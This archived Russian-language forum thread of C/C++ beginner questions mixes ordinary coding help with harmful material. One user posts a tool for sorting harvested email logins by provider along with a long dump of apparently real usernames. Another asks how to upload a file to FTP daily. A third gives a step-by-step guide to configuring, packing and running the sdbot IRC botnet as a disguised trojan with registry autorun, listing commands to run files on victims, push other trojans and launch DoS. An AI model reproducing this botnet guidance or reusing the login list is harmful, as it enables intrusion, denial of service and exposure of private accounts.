[ C / C++ ] — начинающим: задаем вопросы (архивная - 2015)

Discussion in 'С/С++, C#, Rust, Swift, Go, Java, Perl, Ruby' started by _Great_, 26 May 2007.

Thread Status:
Not open for further replies.
  1. zythar

    zythar Elder - Старейшина

    Joined:
    16 Feb 2008
    Messages:
    517
    Likes Received:
    109
    Reputations:
    5
    пиши

    #include <iostream>
     
  2. geforse

    geforse Elder - Старейшина

    Joined:
    2 Mar 2008
    Messages:
    617
    Likes Received:
    290
    Reputations:
    1
    [​IMG]

    PHP:
    error C2143syntax error missing ';' before 'string'
     
  3. Jes

    Jes Elder - Старейшина

    Joined:
    16 Apr 2007
    Messages:
    370
    Likes Received:
    391
    Reputations:
    34
    std::cout << "\n";
     
    4 people like this.
  4. geforse

    geforse Elder - Старейшина

    Joined:
    2 Mar 2008
    Messages:
    617
    Likes Received:
    290
    Reputations:
    1
    УРАА!!
    наконец работает = )

    Всем спасибо за поддержку :)
     
  5. Vid0k

    Vid0k Elder - Старейшина

    Joined:
    24 Dec 2007
    Messages:
    393
    Likes Received:
    125
    Reputations:
    13
    наваял тут по быстрому
    на студии выдиралку которая из файла мыльников логины выдирает ток не совсем коректно работате
    Code:
    #include <iostream.h>
    #include "stdio.h"
    #include "stdlib.h"
    #include "conio.h"
    int parser(char buf[20]);
    FILE *yfile;
    FILE *rfile;
    FILE *mfile;
    FILE *ifile;
    FILE *bfile;
    FILE *lfile;
    char *yyfile="yandex.txt";
    char *rrfile="rambler.txt";
    char *mmfile="mail.ru.txt";
    char *iifile="inbox.txt";
    char *bbfile="bk.txt";
    char *llfile="list.txt";
    void main( ) 
    {
    char *filename="mail.txt";
    FILE *mailfile;
    char bufer[20];
    mailfile=fopen(filename,"r");
    if(mailfile==NULL)
    	{
    	printf("Can't open file mail.txt");
    	exit(1);
    	}
    mfile=fopen(mmfile,"a");
    if(mfile==NULL){printf("Can't create/open file mail.txt\n");exit(1);}
    
    yfile=fopen(yyfile,"a");
    if(yfile==NULL){printf("Can't create/open file yandex.txt\n");exit(1);}
    
    lfile=fopen(llfile,"a");
    if(lfile==NULL){printf("Can't create/open file list.txt\n");exit(1);}
    
    bfile=fopen(bbfile,"a");
    if(bfile==NULL){printf("Can't create/open file bk.txt\n");exit(1);}
    
    ifile=fopen(iifile,"a");
    if(ifile==NULL){printf("Can't create/open file inbox.txt\n");exit(1);}
    
    rfile=fopen(rrfile,"a");
    if(rfile==NULL){printf("Can't create/open file rambler.txt\n");exit(1);}
    	
    
    while(fgets(bufer,20,mailfile))
    	{
    		system("cls");
    		parser(bufer);
    		printf("Parsing....");
    	}
    fclose(mailfile);
    fclose(yfile);	
    fclose(bfile);	
    fclose(lfile);	
    fclose(mfile);	
    fclose(rfile);	
    fclose(ifile);	
    printf("Parsing complete....\n");
    
    }
    parser(char buf[20])
    {	
    
    char buf2[20];
    int i=0;
    
    while(buf[i]!='\n')
    {
    	
      if(buf[i]=='@'){
    
    	if(buf[i+1]=='m')
    		{		
    				fputs(buf2,mfile);//break;
    				return 0;
    		}
    	if(buf[i+1]=='y')
    		{		
    				fputs(buf2,yfile);//break;
    				return 0;
    		}
    	if(buf[i+1]=='l')
    		{			
    				fputs(buf2,lfile);//break;
    				return 0;
    		}
    	if(buf[i+1]=='b')
    		{			
    				fputs(buf2,bfile);//break;
    				return 0;
    		}
    	if(buf[i+1]=='i')
    		{			
    				fputs(buf2,ifile);//break;
    				return 0;
    		}
    	if(buf[i+1]=='r')
    		{			
    				fputs(buf2,rfile);//break;
    				return 0;
    		}
    	}
    	else buf2[i]=buf[i];
    	i++;
    	}
    return 0;
    }
    логины она видирает так еще и мусор какой то
    Code:
    satira_2006МММММММММЂяjullightММММММММММММЂяishipitkinММММММММММЂяmissmurderinММММММММЂяmik8793МММММММММММММЂяbeloved3110МММММММММЂяase495ММММММММММММММЂяstrateg86МММММММММММЂяedmeeМММММММММММММММЂяdichka777МММММММММММЂя22adeles08_90МММММММЂяmaster-14МММММММММММЂяk.sofronovММММММММММЂяsdaandmuaМММММММММММЂяchentvММММММММММММММЂяgenay_kМММММММММММММЂяkutja80МММММММММММММЂяfinal85МММММММММММММЂяtitan1963МММММММММММЂяmansur_xММММММММММММЂяvladyaММММММММММММММЂяkaravaev_sММММММММММЂяbeyerМММММММММММММММЂяgulietta_1983МММММММЂяgallllaaММММММММММММЂяlesha20МММММММММММММЂяle52ММММММММММММММММЂяvalychudММММММММММММЂяbukvarevaМММММММММММЂяbutcher_stММММММММММЂяnicssonМММММММММММММЂяyawawaММММММММММММММЂяaddy2002ММММММММММММЂяgosha-homeММММММММММЂяrostov_kirovММММММММЂяshiryaevagММММММММММЂяjermilovММММММММММММЂяbossvamМММММММММММММЂяteofiliusМММММММММММЂяsinerМММММММММММММММЂяsniffМММММММММММММММЂяgury2002ММММММММММММЂяrogarМММММММММММММММЂяsokolov1964МММММММММЂяprivetoffМММММММММММЂя2k2tommyММММММММММММЂяmaxim_69ММММММММММММЂяhaki2002ММММММММММММЂяsasha.zxММММММММММММЂяvsevolod67ММММММММММЂяdimych-sanММММММММММЂяnn-2002МММММММММММММЂяecoinformserviceММММЂяbevzsМММММММММММММММЂяpaw_katМММММММММММММЂяlepinskayaММММММММММЂяdaria_zaroubinaМММММЂяhoha_hohaМММММММММММЂяmurka2807МММММММММММЂяgnedishevМММММММММММЂяmay.eМММММММММММММММЂяsergun74ММММММММММММЂяmoiadresssММММММММММЂяjiexa-xaММММММММММММЂяmassaradeyaМММММММММЂяkakosjanММММММММММММЂяazariyaМММММММММММММЂяc_natalia_777МММММММЂяtrapeznikМММММММММММЂяbelousov1977ММММММММЂяannalushММММММММММММЂяkristischaММММММММММЂяtolya_misnikММММММММЂяshilo1991МММММММММММЂяblago1ММММММММММММММЂяxhatecorexММММММММММЂяfred_tntММММММММММММЂяtrunchikММММММММММММЂяld-filesММММММММММММЂяfazlievdeniskaММММММЂяfroluga1985МММММММММЂяegonbostonskyМММММММЂяmadaratМММММММММММММЂяbit1982МММММММММММММЂяartempatrikeevММММММЂяscotch-МММММММММММММЂяelistratovajММММММММЂяdumoh007ММММММММММММЂяnatellacherryМММММММЂяjulen18МММММММММММММЂяrysena84ММММММММММММЂяpodgornyi_romanМММММЂяso_82МММММММММММММММЂяdanila_sdlММММММММММЂяjulia-10ffММММММММММЂяshlyapavsМММММММММММЂяdusik_dashaМММММММММЂяjane_krashММММММММММЂяdemastiyММММММММММММЂяabc1990dММММММММММММЂяrasmys666МММММММММММЂяsvetik.l06ММММММММММЂяdevo4ka_iz_4itbiММММЂяfakeeeeeeeerММММММММЂяdubovsky66ММММММММММЂяvsevishnii-boh86ММММЂяgrapes-17МММММММММММЂяjane_ejik_msuМММММММЂяbirka13.89ММММММММММЂяcry_wolf-89МММММММММЂяagnia_barsukovaМММММЂяmane4ka2kМММММММММММЂяanenekММММММММММММММЂяz119ММММММММММММММММЂяovickМММММММММММММММЂяr-emelyanovМММММММММЂяgalinaryzovaММММММММЂяkafe_brМММММММММММММЂяdementev-aММММММММММЂяasset0679МММММММММММЂяjuodasММММММММММММММЂяsergej-reich78ММММММЂяlvd1967МММММММММММММЂяnekrasov_123ММММММММЂяkiparys83МММММММММММЂяsokolov-pasha.92ММММЂяdjgrafinММММММММММММЂяmalipyssММММММММММММЂяartemka__91МММММММММЂяmarzhansММММММММММММЂяksuxa-13890МММММММММЂяkemar2007МММММММММММЂяrus-dubokМММММММММММЂяasl_84ММММММММММММММЂяvmihalevskyМММММММММЂяzhenjok85МММММММММММЂяolga_onaftММММММММММЂяalone_forsakenММММММЂяleon81savokМММММММММЂяroma_supermanМММММММЂяsiyanie_strastiМММММЂяmega-stroy1МММММММММЂяgermankuchmaryovММММЂяsanya_matusМММММММММЂя4enyxМММММММММММММММЂяbadi851МММММММММММММЂяb-oleg.07МММММММММММЂяkrylova-kr.seloМММММЂяjerdna13ММММММММММММЂяmarina-skladММММММММЂяkatyagribovaММММММММЂяlokpco_s-recММММММММЂяstrojholdingММММММММЂяsofya_zaidesММММММММЂяdj_rock88МММММММММММЂяolgabostММММММММММММЂяkot9ipa2007МММММММММЂяfilippov84ММММММММММЂяmargoshka.77ММММММММЂяmarinav82МММММММММММЂяmuhladeevaММММММММММЂяsergg-jeffММММММММММЂяnatka-natka-natМММММЂяmcr93МММММММММММММММЂяmega-ponchikММММММММЂяquest888ММММММММММММЂяmaiorova.ekateriММММЂяduke-evilМММММММММММЂяnarellaМММММММММММММЂяasselya-djММММММММММЂяslonic.spbММММММММММЂяwiseladМММММММММММММЂяiama32ММММММММММММММЂяevgrudММММММММММММММЂяfeeriaММММММММММММММЂяmoscow-beautyМММММММЂяcherrymaryММММММММММЂяdima_tarasovММММММММЂяar
    
    мож кто подскажет в чем дело
     
  6. Delimiter

    Delimiter Banned

    Joined:
    8 Apr 2005
    Messages:
    317
    Likes Received:
    173
    Reputations:
    12
    дай формат файлов! Хотя бы одну строку!
     
    1 person likes this.
  7. Delimiter

    Delimiter Banned

    Joined:
    8 Apr 2005
    Messages:
    317
    Likes Received:
    173
    Reputations:
    12
    Code:
    j=0;
    while(buf[i]!='\n')
    {
    	
      if(buf[i]=='@')
      {
            buf2[j]=0;
    	if(buf[i+1]=='m')
    	{		
    				fputs(buf2,mfile);//break;
    				return 0;
    	}
    	if(buf[i+1]=='y')
    	{		
    				fputs(buf2,yfile);//break;
    				return 0;
    	}
    	if(buf[i+1]=='l')
    	{			
    				fputs(buf2,lfile);//break;
    				return 0;
    	}
    	if(buf[i+1]=='b')
    	{			
    				fputs(buf2,bfile);//break;
    				return 0;
    	}
    	if(buf[i+1]=='i')
    	{			
    				fputs(buf2,ifile);//break;
    				return 0;
    	}
    	if(buf[i+1]=='r')
    	{			
    				fputs(buf2,rfile);//break;
    				return 0;
    	}
           j=0;
       }
       else
      {
         buf2[j]=buf[i];
         j++
      }
       i++;
    }
    
    
    
     
    1 person likes this.
  8. Vid0k

    Vid0k Elder - Старейшина

    Joined:
    24 Dec 2007
    Messages:
    393
    Likes Received:
    125
    Reputations:
    13
    спасибо терь все норм ток символ переноса строки добавил
    ток я не въехал откуда эти крокозябры
     
  9. criz

    criz Elder - Старейшина

    Joined:
    4 Nov 2007
    Messages:
    293
    Likes Received:
    40
    Reputations:
    6
    Если после описания переменной, не присвоить ей какое-нить значение, то переменная будет содержать в себе т.н. "мусор"(любое непредсказуемое значение).
     
    #1110 criz, 11 May 2008
    Last edited: 12 May 2008
    1 person likes this.
  10. Forcer

    Forcer Elder - Старейшина

    Joined:
    12 Apr 2007
    Messages:
    321
    Likes Received:
    98
    Reputations:
    12
    если это конечно не глобальная переменная ))
     
  11. Delimiter

    Delimiter Banned

    Joined:
    8 Apr 2005
    Messages:
    317
    Likes Received:
    173
    Reputations:
    12
    2 zo1****

    WinInet получалка! :cool:

    Code:
    int gethttp(char *my_url, char *my_path)
    {
    	    int cntstr;
    	    char before[100];
            CString strServerName; // имя сервера
            CString strObject;     // имя объекта 
            INTERNET_PORT nPort;   // номер порта для связи
            DWORD dwServiceType;   // тип сервиса
            DWORD arg=0;
    	    char *pt;
    	    char *inquire;
    	    int entr1,entr2;
    		int incld;
            struct sockaddr_in clnt_sin, srv_sin;
            bool bReuse = TRUE;
    		char prbuf[10];
    		char *curptr;
    		char debugstr[40];
    		char *mytempbuf;
    		char sysstr[50];
    		char myname[50];
    		int i,j,l,m;
    		int ex,mycritfl=0;
            int cnt=0;
    		int length;
    		mytempbuf=new char[5000];
            CString m_url;
    		CString m_path;
            FILE *fptr;
    		if(strlen(my_url)>3)
    		   m_url=CString(my_url);
    		m_path=CString(my_path);
            // создаём переменную session и открываем сессию ANDY
            CInternetSession session( _T( "Delimiter" ), PRE_CONFIG_INTERNET_ACCESS );
            // создаём переменную pServer класса CHttpConnection
            CHttpConnection* pServer = NULL;
            // создаём переменную pFile класса CHttpFile
            CHttpFile* pFile = NULL;
    //Обратите внимание, что все запросы к функциям членам WinInet классов включены в блок программы TRY.
    //Это сделано так, потому что при соединении с каким либо URL есть риск неправильной ссылки,
    //особенно, когда Вы полагаете, что пользователь сам печатает URL. 
    //Другая проблема - времена ожидания, которые возникают, когда требуемый URL в настоящее время
    //неспособен обслужить подключение. 
    //Так же обработка WinInet исключений, которые представлены в классе
    //CInternetException, является важной частью создания Internet приложения под MFC.
           try
    	   {
            // функция AfxParseURL получает данные с указанного URL ( у нас m_url ) об сервере,
            // объекте, типе сервиса и порте 
             if ( AfxParseURL( m_url, dwServiceType, strServerName, strObject, nPort ) == 0 )
             {
                delete[] mytempbuf;
     
     
    			return 0;
             }
               // вывод данных о сервере
     
             // Устанавливаем подключение по HTTP протоклолу. 
             pServer = session.GetHttpConnection( strServerName, nPort );
    	     // посылаем запрос об объекте ( strObject )
             pFile = pServer->OpenRequest(
                CHttpConnection::HTTP_VERB_GET, strObject, NULL, 1, NULL, NULL,
                INTERNET_FLAG_EXISTING_CONNECT | INTERNET_FLAG_NO_AUTO_REDIRECT | INTERNET_FLAG_DONT_CACHE
             );
             // Добавляем заголовок к HTTP запросу 
             pFile->AddRequestHeaders( _T( "Accept: */*\r\nUser-Agent: Delimiter\r\n" ) );
    	     // посылаем запрос
             pFile->SendRequest( );
             DWORD dwRet; // переменная для хранения кода состояния 
             pFile->QueryInfoStatusCode( dwRet ); // записываем код состояния в dwRet
             // вывод данных
      
    	     CString strHeader; // переменная для хранения полученного заголовока запроса
    	     pFile->QueryInfo(HTTP_QUERY_RAW_HEADERS_CRLF, strHeader); // записываем заголовок в strHeader
             // вывод данных
             // если код состояния не равен 200, то выходим из функции
    	     if( dwRet != 200 )
    		 {
    			//m_mes += "thread terminate!"; 
               delete[] mytempbuf;
               session.Close( );
              return 0;
    		 }
            // ----------------------------------------------------------
     
            fptr=fopen(my_path,"wb");
    	    int allRead = 0; // переменная для хранения общего числи считанных байт
            int nRead = pFile->Read( mytempbuf, 1024 ); // считываем первые 1024 байта в буфер.
    						  // переменная nRead хранит количество
    						  // считанных байт	
            allRead += nRead; // обновляем общее число считанных байт
     	    // записываем буфер из nRead байт в файл
    	    fwrite(mytempbuf,1,nRead,fptr); //file2.Write( strBody, nRead ); 
            // цикл считывания, пока nRead не будет равняться нулю
            while ( nRead > 0 )
            {
                nRead = pFile->Read( mytempbuf, 1024 );
    			 if( nRead != 0 ) 
    			 {
    				 fwrite(mytempbuf,1,nRead,fptr);//file2.Write( strBody, nRead );
    				 allRead += nRead;
    
    			 }
            }
     
           fclose(fptr);
    	   }
        catch ( CInternetException* pEx )
        {
            // Если произошла ошибка в WinInet
    
            // вывод ошибки
            char szErr[1024];
            pEx->GetErrorMessage( szErr, 1024 );
      
            pEx->Delete( ); // удаление переменной класса CInternetException 
            if ( pFile != NULL )
                delete pFile; // закрываем Internet файл
            if ( pServer != NULL )
                delete pServer; // закрываем сервер
            delete[] mytempbuf;
    		Sleep(50);
           return 0;
        }
     
        if ( pFile != NULL )
            delete pFile; // закрываем Internet файл
        if ( pServer != NULL )
            delete pServer; // закрываем сервер
        session.Close( ); // закрываем сессию
            delete[] mytempbuf;
    return 1;   
    }
    
    
    
     
    #1112 Delimiter, 12 May 2008
    Last edited: 12 May 2008
    1 person likes this.
  12. toxa.tm

    toxa.tm New Member

    Joined:
    21 May 2007
    Messages:
    6
    Likes Received:
    1
    Reputations:
    0
    нужна помощь только начал изучать С++ есть программа которая создаёт файл reg.txt как заделать так чтоб она этот файл раз в 1 день выкладывала на фтп и желательно чтоб до пасовала в него новую информацию прошу сильно не ругать наверно глупый вопрос но я только учусь
     
  13. Metall

    Metall Elder - Старейшина

    Joined:
    4 Jan 2008
    Messages:
    57
    Likes Received:
    10
    Reputations:
    0
    Пожалуйста, помогите.
    Есть динамический массив - int *mass = new char [200]. В нем содержится какое-то предложение.
    С помощью функции strtok() я нахожу там определенное слово (его, например, вводит пользователь) и копирую его в другой динамический массив - slovo. Потом переворачиваю этот массив, используя функцию strrev(). Т. е. было слово "елка", а стало "акле".
    Мне нужно как-то перезаписать слово "елка", находящиеся в дин. массиве mass на это же слово, только перевернутое - "акле" (которое находиться в массиве slovo). Т. е. записать в массив mass массив slovo, на то место, где находится слово "елка". Как это сделать?
    ЗЫ извините за кривость изложения
     
  14. Delimiter

    Delimiter Banned

    Joined:
    8 Apr 2005
    Messages:
    317
    Likes Received:
    173
    Reputations:
    12
    memmove(pointer,slovo,strlen(slovo));
     
    2 people like this.
  15. KeyMan

    KeyMan New Member

    Joined:
    2 Nov 2007
    Messages:
    3
    Likes Received:
    0
    Reputations:
    0
    Помогите, пожалуйста! Решил на днях попробывать написать простенький ботнет с исходника sdbot (0.5a), сделал все по описанию, с компелировал через VStudio 8.0, получил exe файл, запустил, он вошел в IRC чат, но команды вообще не воспринимает, тупо молчит.... вот ссылка на бот.
     
  16. cash$$$

    cash$$$ Banned

    Joined:
    6 Jan 2008
    Messages:
    385
    Likes Received:
    246
    Reputations:
    10
    Вот к примеру ботнет [SD]-Bot от русского автора [SD].Это простенький и стабильный бот, обладающий функциями DoS/Администрирование IRC-канала (не уступает возможностям eggdrop). Бот управляется через IRC.
    Code:
    /msg chanserv register #канал пароль краткое_описание_канала (например канал Васи Пупкина) 
    Для компиляции необходим LCC или Visual Studio 6.У меня стоит Visual Studio 7 .NET
    распаковываем исходники и открываем файл SDBOT05A.CPP.Находим там строчку:
    irc_sendf2(sock, "JOIN %s %s\r\n", channel, chanpass)

    и меняем ее на:

    irc_sendf2(sock, "JOIN %s %s\r\n", channel, chanpass);

    Все, ошибка исправлена, теперь в строчке выше ищем следующую строчку:
    Code:
    // bot configuration 
    const char botid[] = "set_me"; // ID бота,можно вписывать что угодно, апример "mYz0mb1e" 
    const char password[] = "set_me"; // Пароль на бота. 
    const char server[] = "set_me"; // IRC-сервер,пример: "irc.dalnet.ru" 
    const int port = 6667; // Порт сервера, оставьте как есть. 
    const char server2[] = ""; // необязательный параметр, на случай если 1 сервер будет не доступен, то бот законнектится на второй
    const int port2 = 6667; // Аналогично 
    const char serverpass[] = ""; // Пароль от сервера(оставьте пустым) 
    const char channel[] = "set_me"; // Канал ,где будут отчитываться боты, пример: "#ru24" 
    const char chanpass[] = ""; // Пароль от канала (не обязательный параметр, если ваш канал не требует авторизации) 
    const char filename[] = "win.exe"; // Название файла-трояна(бот) которое будет видно в процессах. 
    const BOOL regrun = TRUE; // Использовать ключ в реестре для автозагрузки(включено по умолчанию) 
    const char valuename[] = "Microsoft Internet Explorer"; // Название ключа в реестре 
    const char prefix = '.'; // Префикс название у ботов(необязательный параметр) 
    const char version[] = "sdbot v0.5a by [sd]"; // Метка бота ;) 
    Все, бот готов к эксплуатации. Теперь компилируем, после этого сжимаем его UPX'ом чтобы уменьшить размер. Теперь заходим на IRC-канал,запускаем у себя трояна и видим что на канал зашел бот :) Теперь можно давать команды боту.

    Пример:

    Code:
    << Nitrex >>: .about 
    <sdbot1>: sdbot version 0.4c by [sd] ([email protected]). homepage: sdbot.n3.net/ 
    <sdbot2>: sdbot version 0.4c by [sd] ([email protected]). homepage: sdbot.n3.net/ 
    <sdbot3>: sdbot version 0.4c by [sd] ([email protected]). homepage: sdbot.n3.net/ 
    Все боты послушно выполнили нашу команду - показать инфу о создателе бота.
    Список самых нужных команд для [SD]-Бота:
    Code:
    cycle <seconds> <channel> - уйти на N-кол-во времени с канала, а потом зайти. 
    die - самоубийство :) 
    execute <visibility> <file> [parameters] - запустить файл на компьютере жертвы 
    download <url> <destination> <action> - скачать файл на комьютер-зомби. Очень полезно когда нужно затроянить всех зомби другим трояном или модификацией бота!
    ping <host> <# of pings> <packet size> <timeout> - великий и ужасный ПИНГ aka DoS ;) 
     
  17. B@ton

    B@ton New Member

    Joined:
    18 Jul 2007
    Messages:
    17
    Likes Received:
    1
    Reputations:
    0
    Установил библиотеку fmod под DevC++ но выдаются ошибки
    Linker error:
    undefined reference to `FSOUND_Init@12'
    undefined reference to `FSOUND_Stream_Open@16'
    undefined reference to `FSOUND_Stream_Play@8'
    undefined reference to `FSOUND_Stream_Close@4'

    Как подключить ее к компановщику в DevC++?
     
  18. nerezus

    nerezus Banned

    Joined:
    12 Aug 2004
    Messages:
    3,191
    Likes Received:
    729
    Reputations:
    266
    В свойствах проекта должно быть.
    А вообще если нравися Dev-cpp, то удали енго и поставь Code::Blocks. Это как бы его логическое продолжение.
     
  19. KeyMan

    KeyMan New Member

    Joined:
    2 Nov 2007
    Messages:
    3
    Likes Received:
    0
    Reputations:
    0
    cash$$$, я как раз по этому описанию и делал... оно для 0.4с версии, а в 0.5а эти ошибки изначально исправлены... я все делал по этому описанию но на любые команды(с префиксом и без) он не отвечает...
     
Thread Status:
Not open for further replies.